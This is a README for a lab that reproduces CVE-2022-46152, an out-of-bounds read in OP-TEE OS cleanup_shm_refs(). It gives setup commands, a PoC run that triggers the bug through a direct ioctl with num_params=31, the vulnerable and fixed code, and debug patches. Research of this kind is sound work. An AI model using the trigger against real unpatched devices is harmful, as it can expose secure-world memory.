
CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.
OP-TEE OS cleanup_shm_refs() Out-of-Bounds Read — Reproduction Environment
Reference: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Security Advisory: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| Field | Details |
|---|---|
| Vulnerability | cleanup_shm_refs() does not validate num_params (theoretically up to 127; limited to 31 in practice by the Linux TEE ioctl TEE_MAX_ARG_SIZE=1024), while saved_attr[] has only 4 elements |
| Affected Versions | OP-TEE OS < 3.19.0 |
| Trigger Condition | Normal World sends an INVOKE request with num_params=31 via direct ioctl (bypassing the libteec 4-parameter limit) |
| Impact | Out-of-bounds read of secure world stack data; if a stack residual value matches a TMEM type, a Use-After-Free is triggered |
| Fix | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b) |
CVE-2022-46152/
├── README.md # This file (English)
├── README.zh.md # Chinese version
├── setup.sh # One-command environment setup
├── run_qemu.sh # Launch QEMU
├── exploit.sh # Automated/manual reproduction script
├── cve-2022-46152-oob-emsg.patch # OP-TEE OS debug patch (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU patch (suppress pflash_write noise logs)
├── poc/
│ ├── cve_2022_46152.c # PoC exploit source (direct ioctl bypassing libteec)
│ └── Makefile # Cross-compilation Makefile
├── docs/
│ └── vulnerability_analysis.md # Detailed technical vulnerability analysis
└── optee/ # OP-TEE environment (created by setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (vulnerable version)
├── build/ # Build system (qemu_v8.mk)
├── linux/ # Linux kernel
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (source)
└── out/bin/ # Build artifacts
├── bl1.bin # TF-A BL1
├── Image # Linux kernel image
└── rootfs.cpio.gz # rootfs containing the PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# Verify
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
Note: Use the
3.18.0tag. This version contains the CVE-2022-46152 vulnerability and has not yet had the fix applied.
./setup.sh
This script will:
repo sync to fetch all source codeoptee/toolchains/ already exists, otherwise downloads automatically)make all to build TF-A, OP-TEE OS 3.18.0, Linux, and Buildroot# Open three terminals:
# Terminal 1 — Start QEMU:
./run_qemu.sh --no-gdb
# Terminal 2 — Normal World console (run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54320
# Terminal 3 — Secure World (OP-TEE logs, run after run_qemu.sh has started):
python3 optee/build/soc_term.py 54321
Note:
run_qemu.shinternally startssoc_term.pyin server mode listening on 54320/54321, with QEMU connecting as a client. The commands above are examples for connecting to a running instance and generally do not need to be run manually.
# In the Normal World terminal (54320), after the login prompt appears:
(none) login: root
# Run the PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
Note:
TEE_MAX_ARG_SIZE=1024limits a single ioctl to at most 31 parameters (libteec caps at 4). Even so,num_params=31is sufficient to trigger OOB (readingsaved_attr[4..30], 27 elements out of bounds).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
The warning line
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!is an explicit log added toentry_std.cvia thecve-2022-46152-oob-emsg.patchpatch to confirm the vulnerability trigger path.cleanup_shm_refsreads 27 extra elements out of bounds from the stack; if any residual stack value matches a TMEM type,mobj_put()Use-After-Free can be triggered.
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* only 4 slots! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ BUG: num_params can be 127, OOB read of saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ FIX: MIN(4, 127) = 4, no longer out of bounds */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# Set up the environment
./setup.sh
# Start QEMU (with GDB debug port)
./run_qemu.sh
# Start QEMU (without waiting for GDB)
./run_qemu.sh --no-gdb
# Show manual reproduction steps
./exploit.sh --manual
# Automated reproduction (no extra terminals needed, output to current shell)
./exploit.sh
# Connect to Normal World console (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54320
# Connect to Secure World log (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54321
# Debug OP-TEE OS with GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
This repository applies patch qemu-pflash-suppress-unimp-log.patch on top of QEMU v7.0.0
to eliminate the following noisy output when running the VM:
pflash_write: Write to buffer emulation is flawed
pflash_write() in hw/block/pflash_cfi01.c calls qemu_log_mask(LOG_UNIMP, ...) when
handling the CFI pflash 0xe8 (Write to buffer) command, recording an "unimplemented" warning.
TF-A firmware writes to pflash during boot, triggering this path and printing the message on
every start.
hw/block/pflash_cfi01.c)Removes the qemu_log_mask(LOG_UNIMP, ...) call inside the case 0xe8 branch while
leaving the functional logic intact.
optee/qemu/)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64
This repository applies a debug patch cve-2022-46152-oob-emsg.patch on top of
OP-TEE OS 3.18.0 so that an explicit warning is printed on the Secure World UART
when the vulnerability is triggered, making reproduction verification straightforward.
core/tee/entry_std.c)#include <trace.h>entry_invoke_command(), detects num_params > TEE_NUM_PARAMS before the
cleanup_shm_refs() call and prints
CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 via EMSG()⚠️ This patch is for debugging/demonstration only and is not a security fix. The real fix is in commit 728616b.
optee/optee_os/)cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os